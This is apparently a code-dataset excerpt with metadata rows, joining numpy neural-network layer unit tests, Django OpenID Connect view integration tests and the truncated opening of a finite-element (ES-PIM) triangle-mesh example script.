import unittest from dnpy import utils from dnpy.layers import * from dnpy.net import Net from dnpy.optimizers import * import numpy as np class TestLayersMethods(unittest.TestCase): def test_outputs(self): r1 = utils.get_output(input_size=(4, 4), kernel_size=(3, 3), strides=(1, 1), padding=(0, 0)) self.assertTrue(np.all(r1 == np.array((2, 2)))) r2 = utils.get_output(input_size=(5, 5), kernel_size=(4, 4), strides=(1, 1), padding=(2, 2)) self.assertTrue(np.all(r2 == np.array((6, 6)))) r3 = utils.get_output(input_size=(5, 5), kernel_size=(3, 3), strides=(1, 1), padding=(1, 1)) self.assertTrue(np.all(r3 == np.array((5, 5)))) r4 = utils.get_output(input_size=(5, 5), kernel_size=(3, 3), strides=(1, 1), padding=(2, 2)) self.assertTrue(np.all(r4 == np.array((7, 7)))) r5 = utils.get_output(input_size=(5, 5), kernel_size=(3, 3), strides=(2, 2), padding=(0, 0)) self.assertTrue(np.all(r5 == np.array((2, 2)))) r6 = utils.get_output(input_size=(5, 5), kernel_size=(3, 3), strides=(2, 2), padding=(1, 1)) self.assertTrue(np.all(r6 == np.array((3, 3)))) def test_conv2d_2x2_none_temp1(self): # Test 1 t1_in_img = np.array([[ [ [0, 0, 0, 0, 0, 0, 0], [0, 0, 1, 0, 4, 5, 0], [0, 2, 3, 2, 1, 3, 0], [0, 4, 4, 0, 4, 3, 0], [0, 2, 5, 2, 6, 4, 0], [0, 1, 0, 0, 5, 7, 0], [0, 0, 0, 0, 0, 0, 0], ] ]]) t1_ref_img = np.array([[ [ [0, 1, 1, 4, 9, 5], [2, 6, 6, 7, 13, 8], [6, 13, 9, 7, 11, 6], [6, 15, 11, 12, 17, 7], [3, 8, 7, 13, 22, 11], [1, 1, 0, 5, 12, 7] ] ]]) t1_ref_back = np.array([[ [ [1, 2, 2, 2, 2, 2, 1], [2, 4, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 4, 2], [1, 2, 2, 2, 2, 2, 1] ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = Conv2D(l0, 1, kernel_size=(2, 2), strides=(1, 1), padding="none", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_conv2d_2x2_none_temp2(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5, 0], [2, 3, 2, 1, 3, 0], [4, 4, 0, 4, 3, 0], [2, 5, 2, 6, 4, 0], [1, 0, 0, 5, 7, 0], [0, 0, 0, 0, 0, 0], ] ]]) t1_ref_img = np.array([[ [ [6, 6, 7, 13, 8], [13, 9, 7, 11, 6], [15, 11, 12, 17, 7], [8, 7, 13, 22, 11], [1, 0, 5, 12, 7] ] ]]) t1_ref_back = np.array([[ [ [1, 2, 2, 2, 2, 1], [2, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 2], [2, 4, 4, 4, 4, 2], [1, 2, 2, 2, 2, 1] ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = Conv2D(l0, 1, kernel_size=(2, 2), strides=(1, 1), padding="none", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_conv2d_2x2_none(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [6, 6, 7, 13], [13, 9, 7, 11], [15, 11, 12, 17], [8, 7, 13, 22] ] ]]) t1_ref_back = np.array([[ [ [1, 2, 2, 2, 1], [2, 4, 4, 4, 2], [2, 4, 4, 4, 2], [2, 4, 4, 4, 2], [1, 2, 2, 2, 1], ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = Conv2D(l0, 1, kernel_size=(2, 2), strides=(1, 1), padding="none", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_conv2d_2x2_same(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [6, 6, 7, 13, 8], [13, 9, 7, 11, 6], [15, 11, 12, 17, 7], [8, 7, 13, 22, 11], [1, 0, 5, 12, 7] ] ]]) t1_ref_back = np.array([[ [ [1, 2, 2, 2, 2], [2, 4, 4, 4, 4], [2, 4, 4, 4, 4], [2, 4, 4, 4, 4], [2, 4, 4, 4, 4] ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = Conv2D(l0, 1, kernel_size=(2, 2), strides=(1, 1), padding="same", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_conv2d_3x3_same(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_in_img = np.concatenate([t1_in_img, t1_in_img*10, t1_in_img*100], axis=1) t1_ref_img = np.array([[ [ [6, 8, 11, 15, 13], [14, 16, 19, 22, 20], [20, 24, 27, 25, 21], [16, 18, 26, 31, 29], [8, 10, 18, 24, 22], ] ]]) t1_ref_img = t1_ref_img + t1_ref_img*10 + t1_ref_img*100 t1_ref_back = np.array([[ [ [4, 6, 6, 6, 4], [6, 9, 9, 9, 6], [6, 9, 9, 9, 6], [6, 9, 9, 9, 6], [4, 6, 6, 6, 4], ] ]]) t1_ref_back = np.concatenate([t1_ref_back, t1_ref_back, t1_ref_back], axis=1) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = Conv2D(l0, 1, kernel_size=(3, 3), strides=(1, 1), padding="same", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_depthwiseconv2d_3x3_same(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_in_img = np.concatenate([t1_in_img, t1_in_img*10, t1_in_img*100], axis=1) t1_ref_img = np.array([[ [ [6, 8, 11, 15, 13], [14, 16, 19, 22, 20], [20, 24, 27, 25, 21], [16, 18, 26, 31, 29], [8, 10, 18, 24, 22], ] ]]) t1_ref_img = np.concatenate([t1_ref_img, t1_ref_img*10, t1_ref_img*100], axis=1) t1_ref_back = np.array([[ [ [4, 6, 6, 6, 4], [6, 9, 9, 9, 6], [6, 9, 9, 9, 6], [6, 9, 9, 9, 6], [4, 6, 6, 6, 4], ] ]]) t1_ref_back = np.concatenate([t1_ref_back, t1_ref_back, t1_ref_back], axis=1) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = DepthwiseConv2D(l0, kernel_size=(3, 3), strides=(1, 1), padding="same", kernel_initializer=initializers.Constant(fill_value=1)) l1.initialize() l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_maxpool_2x2_none(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [3, 4], [5, 6], ] ]]) t1_ref_back = np.array([[ [ [0, 0, 0, 1, 0], [0, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 1, 0, 1, 0], [0, 0, 0, 0, 0], ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = MaxPool2D(l0, pool_size=(2, 2), strides=(2, 2), padding="none") l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_maxpool_2x2_same(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [3, 4, 5], [5, 6, 4], [1, 5, 7], ] ]]) t1_ref_back = np.array([[ [ [0, 0, 0, 1, 1], [0, 1, 0, 0, 0], [0, 0, 0, 0, 0], [0, 1, 0, 1, 1], [1, 0, 0, 1, 1], ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = MaxPool2D(l0, pool_size=(2, 2), strides=(2, 2), padding="same") l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_avgpool_2x2_none(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [1.5, 1.75], [3.75, 3.0], ] ]]) t1_ref_back = np.array([[ [ [0.25000, 0.25000, 0.25000, 0.25000, 0.00000], [0.25000, 0.25000, 0.25000, 0.25000, 0.00000], [0.25000, 0.25000, 0.25000, 0.25000, 0.00000], [0.25000, 0.25000, 0.25000, 0.25000, 0.00000], [0.00000, 0.00000, 0.00000, 0.00000, 0.00000], ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = AvgPool2D(l0, pool_size=(2, 2), strides=(2, 2), padding="none") l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_avgpool_2x2_same(self): # Test 1 t1_in_img = np.array([[ [ [0, 1, 0, 4, 5], [2, 3, 2, 1, 3], [4, 4, 0, 4, 3], [2, 5, 2, 6, 4], [1, 0, 0, 5, 7], ] ]]) t1_ref_img = np.array([[ [ [1.5, 1.75, 2.0], [3.75, 3.0, 1.75], [0.25, 1.25, 1.75], ] ]]) t1_ref_back = np.array([[ [ [0.25, 0.25, 0.25, 0.25, 0.25], [0.25, 0.25, 0.25, 0.25, 0.25], [0.25, 0.25, 0.25, 0.25, 0.25], [0.25, 0.25, 0.25, 0.25, 0.25], [0.25, 0.25, 0.25, 0.25, 0.25], ] ]]) # Test 1 # Forward l0 = Input(shape=t1_in_img[0].shape) l0.output = t1_in_img l1 = AvgPool2D(l0, pool_size=(2, 2), strides=(2, 2), padding="same") l1.forward() self.assertTrue(np.all(t1_ref_img == l1.output)) # Backward l1.delta = np.ones_like(t1_ref_img) l1.backward() self.assertTrue(np.all(t1_ref_back == l0.delta)) def test_softmax(self): # Test 1 t1_in = np.array([ [0.0303, 0.2418, -1.9007], [-4.7348, -0.7624, -0.5518], ]) t1_ref = np.array([ [0.42007398, 0.51901399, 0.06091204], [0.00835603, 0.44380405, 0.54783992], ]) t1_delta = np.array([ [1, 2, 3], [3, 2, 1], ]) t1_ref_back = np.array([ [-0.26919939, 0.18641007, 0.08278932], [0.01286397, 0.23942514, -0.25228911], ]) # Test 1 # Forward l0 = Input(shape=t1_in[0].shape) l0.output = t1_in l1 = Softmax(l0, stable=True) l1.forward() self.assertTrue(np.allclose(t1_ref, l1.output, atol=1e-4)) # Backward l1.delta = t1_delta l1.backward() self.assertTrue(np.allclose(t1_ref_back, l0.delta, atol=1e-4)) if __name__ == "__main__": unittest.main()

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101

28.512334

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false

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0

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0

7

28150b7ca7848435a3cc7bdf630775ab7064c616

14,437

py

Python

tests/integration/test_views.py

urosn74/django-oidc-rp

a5028e76fadaecc0aeac96b1d0bc81db8366d221

[ "MIT" ]

null

tests/integration/test_views.py

urosn74/django-oidc-rp

a5028e76fadaecc0aeac96b1d0bc81db8366d221

[ "MIT" ]

null

tests/integration/test_views.py

urosn74/django-oidc-rp

a5028e76fadaecc0aeac96b1d0bc81db8366d221

[ "MIT" ]

null

import unittest.mock from urllib.parse import parse_qs, urlparse import pytest from django.contrib.auth.models import User from django.test import override_settings from django.urls import reverse @pytest.mark.django_db class TestOIDCAuthRequestView: def test_can_redirect_the_user_to_the_authorization_server_to_be_authenticated(self, client): url = reverse('oidc_auth_request') response = client.get(url, follow=False) assert response.status_code == 302 assert response.url.startswith('http://example.com/a/authorize') parsed_parameters = parse_qs(urlparse(response.url).query) assert parsed_parameters['response_type'] == ['code', ] assert parsed_parameters['scope'] == ['openid email', ] assert parsed_parameters['client_id'] == ['DUMMY_CLIENT_ID', ] assert parsed_parameters['redirect_uri'] == ['http://testserver/oidc/auth/cb/', ] assert parsed_parameters['state'] assert parsed_parameters['nonce'] @unittest.mock.patch('oidc_rp.conf.settings.USE_NONCE', False) def test_do_not_embed_a_nonce_in_the_request_parameters_if_the_related_setting_is_disabled( self, client): url = reverse('oidc_auth_request') response = client.get(url, follow=False) assert response.status_code == 302 parsed_parameters = parse_qs(urlparse(response.url).query) assert parsed_parameters['response_type'] == ['code', ] assert parsed_parameters['scope'] == ['openid email', ] assert parsed_parameters['client_id'] == ['DUMMY_CLIENT_ID', ] assert parsed_parameters['redirect_uri'] == ['http://testserver/oidc/auth/cb/', ] assert parsed_parameters['state'] assert 'nonce' not in parsed_parameters def test_saves_the_authorization_state_value_in_the_user_session(self, client): url = reverse('oidc_auth_request') response = client.get(url, follow=False) assert response.status_code == 302 parsed_parameters = parse_qs(urlparse(response.url).query) assert client.session['oidc_auth_state'] == parsed_parameters['state'][0] def test_saves_the_nonce_value_in_the_user_session_if_applicable(self, client): url = reverse('oidc_auth_request') response = client.get(url, follow=False) assert response.status_code == 302 parsed_parameters = parse_qs(urlparse(response.url).query) assert client.session['oidc_auth_nonce'] == parsed_parameters['nonce'][0] @pytest.mark.django_db class TestOIDCAuthCallbackView: @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_REDIRECT_URI', '/success') def test_can_properly_authenticate_users_and_redirect_them_to_a_success_url( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/success' assert mocked_authenticate.call_count == 1 assert mocked_login.call_count == 1 @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_REDIRECT_URI', '/success') @unittest.mock.patch('oidc_rp.conf.settings.USE_NONCE', False) def test_can_properly_authenticate_users_and_redirect_them_to_a_success_url_without_nonce( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/success' assert mocked_authenticate.call_count == 1 assert mocked_login.call_count == 1 @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') def test_can_properly_authenticate_users_and_redirect_them_to_a_custom_success_url( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session['oidc_auth_next_url'] = '/profile' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/profile' assert mocked_authenticate.call_count == 1 assert mocked_login.call_count == 1 @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_can_redirect_users_to_a_failure_page_in_case_of_missing_nonce( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/fail' assert not mocked_authenticate.call_count assert not mocked_login.call_count @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_can_redirect_users_to_a_failure_page_in_case_of_missing_code_parameter( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/fail' assert not mocked_authenticate.call_count assert not mocked_login.call_count @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_can_redirect_users_to_a_failure_page_in_case_of_missing_state_parameter( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode'}) assert response.status_code == 302 assert response.url == '/fail' assert not mocked_authenticate.call_count assert not mocked_login.call_count @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_can_redirect_the_to_a_failure_page_if_he_is_not_active( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') user.is_active = False user.save() mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/fail' assert mocked_authenticate.call_count == 1 assert not mocked_login.call_count @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_raises_if_the_state_has_been_tampered_with( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'validstate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 400 # suspicious operation assert not mocked_authenticate.call_count assert not mocked_login.call_count @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_REDIRECT_URI', '/success') def test_removes_nonce_from_user_session_upon_user_authentication( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'code': 'dummycode', 'state': 'dummystate'}) assert response.status_code == 302 assert response.url == '/success' assert mocked_authenticate.call_count == 1 assert mocked_login.call_count == 1 assert 'oidc_auth_state' in client.session assert 'oidc_auth_nonce' not in client.session @unittest.mock.patch('django.contrib.auth.authenticate') @unittest.mock.patch('django.contrib.auth.login') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_REDIRECT_URI', '/success') def test_stores_the_session_state_if_applicable( self, mocked_login, mocked_authenticate, client): user = User.objects.create_user('foo') mocked_authenticate.return_value = user session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get( url, {'code': 'dummycode', 'state': 'dummystate', 'session_state': 'thisisatest', }) assert response.status_code == 302 assert response.url == '/success' assert mocked_authenticate.call_count == 1 assert mocked_login.call_count == 1 assert client.session['oidc_auth_session_state'] == 'thisisatest' @unittest.mock.patch('django.contrib.auth.logout') @unittest.mock.patch('oidc_rp.conf.settings.AUTHENTICATION_FAILURE_REDIRECT_URI', '/fail') def test_logout_the_current_user_if_the_authentication_failed_on_the_op( self, mocked_logout, client): session = client.session session['oidc_auth_state'] = 'dummystate' session['oidc_auth_nonce'] = 'dummynonce' session.save() url = reverse('oidc_auth_callback') response = client.get(url, {'error': 'login_required', }) assert response.status_code == 302 assert response.url == '/fail' assert mocked_logout.call_count == 1 @pytest.mark.django_db class TestOIDCEndSessionView: @unittest.mock.patch('django.contrib.auth.logout') @unittest.mock.patch('oidc_rp.conf.settings.PROVIDER_END_SESSION_ENDPOINT', 'http://example.com/a/end-session') def test_can_log_out_a_user_from_the_application_and_the_authorization_server( self, mocked_logout, client): User.objects.create_user('foo', password='insecure') client.login(username='foo', password='insecure') session = client.session session['oidc_auth_id_token'] = 'idtoken' session.save() url = reverse('oidc_end_session') response = client.get(url, follow=False) assert response.status_code == 302 assert response.url.startswith('http://example.com/a/end-session') parsed_parameters = parse_qs(urlparse(response.url).query) assert parsed_parameters['post_logout_redirect_uri'] == ['http://testserver/', ] assert parsed_parameters['id_token_hint'] == ['idtoken', ] assert mocked_logout.call_count == 1 @unittest.mock.patch('django.contrib.auth.logout') @override_settings(LOGOUT_REDIRECT_URL='/logout') def test_can_log_out_a_user_from_the_application_without_end_session_endpoint( self, mocked_logout, client): User.objects.create_user('foo', password='insecure') client.login(username='foo', password='insecure') url = reverse('oidc_end_session') response = client.get(url, follow=False) assert response.status_code == 302 assert response.url == '/logout' assert mocked_logout.call_count == 1 @unittest.mock.patch('django.contrib.auth.logout') @override_settings(LOGOUT_REDIRECT_URL='/logout') def test_silently_works_for_anonymous_users(self, mocked_logout, client): url = reverse('oidc_end_session') response = client.get(url, follow=False) assert response.status_code == 302 assert response.url == '/logout' assert not mocked_logout.call_count

48.773649

97

0.692872

1,706

14,437

5.566237

0.091442

0.037068

0.066238

0.05813

0.871525

0.853939

0.844882

0.842565

0

0.00601

0.193253

14,437

295

98

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0.809307

0.001385

0

0.802198

0

0.221713

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1

0.065934

false

0.014652

0.021978

0

0.098901

0

null

0

1

0

1

0

null

0

7

2827e00d1b2cfaecf1d4d73d08fe73157f13de3e

153,233

py

Python

scratch/espim_example.py

compmech/particles

d23ae69ad4c79024b997a232247b4ae0e1e7031c

[ "BSD-2-Clause" ]

8

2017-06-16T15:50:43.000Z

2021-12-01T10:20:36.000Z

scratch/espim_example.py

compmech/particles

d23ae69ad4c79024b997a232247b4ae0e1e7031c

[ "BSD-2-Clause" ]

2

2017-12-27T11:07:04.000Z

2019-01-22T19:34:33.000Z

scratch/espim_example.py

compmech/particles

d23ae69ad4c79024b997a232247b4ae0e1e7031c

[ "BSD-2-Clause" ]

4

2017-05-17T17:53:20.000Z

2019-04-03T01:57:58.000Z

"""ES-PIM - prevents non-zero energy spurious modes for vibration / buckling analysis as NS-PIM - compared to SFEM using TRIA3, this approach is very similar, but much easily extented to n-sided elements, since the integration is performed edge-wise - results more precise than FEM using QUAD4 elements """ import numpy as np import matplotlib.pyplot as plt from scipy.sparse import coo_matrix from pim.composite.laminate import read_stack from pim.sparse import solve, is_symmetric XGLOBAL = np.array([1., 0, 0]) YGLOBAL = np.array([0, 1., 0]) ZGLOBAL = np.array([0, 0, 1.]) def area_of_polygon(x, y): """Area of an arbitrary 2D polygon given its verticies """ area = 0.0 for i in range(-1, len(x)-1): area += x[i] * (y[i+1] - y[i-1]) return abs(area) / 2.0 def unitvec(vector): """Return the unit vector """ return vector / np.linalg.norm(vector) class Property(object): def __init__(self, A, B, D, E): self.A = A self.B = B self.D = D self.E = E class IntegrationPoint(object): def __init__(self, tria, n1, n2, n3, f1, f2, f3, nx, ny, nz, le): self.pos = (f1*n1 + f2*n2 + f3*n3).pos self.tria = tria self.n1 = n1 self.n2 = n2 self.n3 = n3 self.f1 = f1 self.f2 = f2 self.f3 = f3 self.nx = nx self.ny = ny self.nz = nz # 3D case self.le = le # length of the line where the integration point lies on class Tria(object): def __init__(self, n1, n2, n3): self.n1 = n1 self.n2 = n2 self.n3 = n3 self.edges = [] self.nodes = [n1, n2, n3] self.Ae = area_of_polygon([n1.pos[0], n2.pos[0], n3.pos[0]], [n1.pos[1], n2.pos[1], n3.pos[1]]) self.prop = None # either define here or in Node def getMid(self): return 1/3*(self.n1 + self.n2 + self.n3) class Edge(object): def __init__(self, n1, n2): self.n1 = n1 self.n2 = n2 self.nodes = [n1, n2] self.trias = [] self.sdomain = [] self.ipts = [] self.Ac = None def getMid(self): return 0.5*(self.n1 + self.n2) class Node(object): def __init__(self, x, y, z): self.pos = np.array([x, y, z], dtype=float) self.edges = set() self.trias = set() self.sdomain = None self.index = None self.prop = None # either define here or in Tria def __add__(self, val): if isinstance(val, Node): return Node(*(self.pos + val.pos)) else: return Node(*(self.pos + val)) def __sub__(self, val): if isinstance(val, Node): return Node(*(self.pos - val.pos)) else: return Node(*(self.pos - val)) def __rmul__(self, val): if isinstance(val, Node): return Node(*(self.pos * val.pos)) else: return Node(*(self.pos * val)) def __lmul__(self, val): return self.__rmul__(val) a = 10. b = 5. plt.figure(dpi=300) nodes = np.array([ Node(0, 0, 0), Node(a/3, 0, 0), Node(2*a/3, 0, 0), Node(a, 0, 0), Node(0, b/3, 0), Node(a/3, b/3, 0), Node(2*a/3, b/3, 0), Node(a, b/3, 0), Node(0, 2*b/3, 0), Node(a/3, 2*b/3, 0), Node(2*a/3, 2*b/3, 0), Node(a, 2*b/3, 0), Node(0, b, 0), Node(a/3, b, 0), Node(2*a/3, b, 0), Node(a, b, 0), ]) trias = [ Tria(nodes[0], nodes[1], nodes[5]), Tria(nodes[1], nodes[2], nodes[6]), Tria(nodes[2], nodes[3], nodes[7]), Tria(nodes[0], nodes[5], nodes[4]), Tria(nodes[1], nodes[6], nodes[5]), Tria(nodes[2], nodes[7], nodes[6]), Tria(nodes[4], nodes[5], nodes[9]), Tria(nodes[5], nodes[6], nodes[10]), Tria(nodes[6], nodes[7], nodes[11]), Tria(nodes[4], nodes[9], nodes[8]), Tria(nodes[5], nodes[10], nodes[9]), Tria(nodes[6], nodes[11], nodes[10]), Tria(nodes[8], nodes[9], nodes[13]), Tria(nodes[9], nodes[10], nodes[14]), Tria(nodes[10], nodes[11], nodes[15]), Tria(nodes[8], nodes[13], nodes[12]), Tria(nodes[9], nodes[14], nodes[13]), Tria(nodes[10], nodes[15], nodes[14]), ] edges = np.array([ Edge(nodes[0], nodes[1]), Edge(nodes[1], nodes[2]), Edge(nodes[2], nodes[3]), Edge(nodes[0], nodes[4]), Edge(nodes[1], nodes[5]), Edge(nodes[2], nodes[6]), Edge(nodes[3], nodes[7]), Edge(nodes[0], nodes[5]), Edge(nodes[1], nodes[6]), Edge(nodes[2], nodes[7]), Edge(nodes[4], nodes[5]), Edge(nodes[5], nodes[6]), Edge(nodes[6], nodes[7]), Edge(nodes[4], nodes[8]), Edge(nodes[5], nodes[9]), Edge(nodes[6], nodes[10]), Edge(nodes[7], nodes[11]), Edge(nodes[4], nodes[9]), Edge(nodes[5], nodes[10]), Edge(nodes[6], nodes[11]), Edge(nodes[8], nodes[9]), Edge(nodes[9], nodes[10]), Edge(nodes[10], nodes[11]), Edge(nodes[8], nodes[12]), Edge(nodes[9], nodes[13]), Edge(nodes[10], nodes[14]), Edge(nodes[11], nodes[15]), Edge(nodes[8], nodes[13]), Edge(nodes[9], nodes[14]), Edge(nodes[10], nodes[15]), Edge(nodes[12], nodes[13]), Edge(nodes[13], nodes[14]), Edge(nodes[14], nodes[15]), ]) for edge in edges: edge.n1.edges.add(edge) edge.n2.edges.add(edge) plt.plot([edge.n1.pos[0], edge.n2.pos[0]], [edge.n1.pos[1], edge.n2.pos[1]], '--k', lw=0.5, mfc=None) for tria in trias: if len(set(edge.nodes) & set(tria.nodes)) == 2: tria.edges.append(edge) edge.trias.append(tria) for node in tria.nodes: node.trias.add(tria) # __________________________________________________________________ # # the code above will come from an external triangulation algorithm # __________________________________________________________________ # # FOCUS HERE AND BELOW # __________________________________________________________________ for edge in edges: if len(edge.trias) == 1: tria1 = edge.trias[0] tria2 